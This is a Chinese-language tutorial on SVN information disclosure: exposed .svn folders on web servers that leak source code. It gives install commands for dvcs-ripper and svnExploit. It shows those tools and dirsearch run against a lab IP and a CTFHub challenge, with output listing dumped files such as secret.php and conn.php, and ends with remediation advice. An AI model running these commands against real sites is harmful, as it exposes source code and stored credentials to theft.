漏洞介绍
SVN是一个开放源代码的版本控制系统,在使用SVN管理本地代码过程中会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息,网站管理员在发布代码时如果没有使用导出功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件获取到服务器源码
利用工具
Seay-SVN漏洞利用工具
利用工具
https://github.com/kost/dvcs-ripper
安装第三方依赖:
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-combinatorics-perl
sudo apt-get install cvs subversion git bzr mercurial
利用脚本
svnExploit.py
https://github.com/admintony/svnExploit
漏洞检测:
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit
+--------------------+----------+------------------------------------------------+
| 文件名 | 文件类型 | CheckSum |
+--------------------+----------+------------------------------------------------+
| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
| trunk | dir | None |
| branches | dir | None |
| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
| img | dir | None |
| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
| document | dir | None |
| tags | dir | None |
+--------------------+----------+------------------------------------------------+
获取源码信息
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit
+--------------------+--------------------------------------------------------------------+----------+
| 文件名 | URL | 下载状态 |
+--------------------+--------------------------------------------------------------------+----------+
| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
+--------------------+--------------------------------------------------------------------+----------+
[+] 已经Dump完成!
简易案例
下面以CTFHUB的一个svn信息泄露题目为例进行演示说明:
Step 1:访问靶场地址可以看到如下提示信息
CTFHub 环境实例 | 提示信息
Step 2:使用目录扫描发现确实存在svn信息泄露
python3 dirsearch.py -u http://challenge-09e40d4fa439d842.sandbox.ctfhub.com:10800/ -e *
Step 3:使用dvcs-ripper工具中的 rip-svn.pl脚本进行 clone
./rip-svn.pl -u http://challenge-09e40d4fa439d842.sandbox.ctfhub.com:10800/.svn/
从wc.db中找到flag的文件的文件名, 尝试访问结果发现被删除了
cat wc.db | grep -a flag
转而查找.svn/pristine/ 中的文件,找到flag——ctfhub{fc8dfadda86879a9956cde97}
修复建议
删除web目录中所有.svn隐藏文件夹,开发人员在使用SVN时,严格使用导出功能,禁止直接复制代码
- 审查代码:需要对代码进行定期审查以确保没有敏感信息泄露,可以使用SVN的搜索功能来查找敏感信息,例如:密码和凭据
- 限制访问权限:限制SVN服务器的访问权限,确保只有授权用户可以访问SVN服务器,可以使用SVN访问控制功能来限制用户的访问权限
- 加强安全措施:为了防止将来的泄露,需要加强安全措施。例如,限制对SVN服务器的访问权限,使用多因素身份验证,定期更改密码等
- 定期备份数据:需要定期备份SVN服务器的数据,以防止数据丢失或损坏。备份数据应存储在安全的位置,并定期测试备份数据的恢复性
- 加密敏感信息:SVN没有像Git一样的撤销提交功能,因此需要使用其他方式来保护敏感信息。可以使用加密算法对敏感信息进行加密以保护敏感信息不被直接读取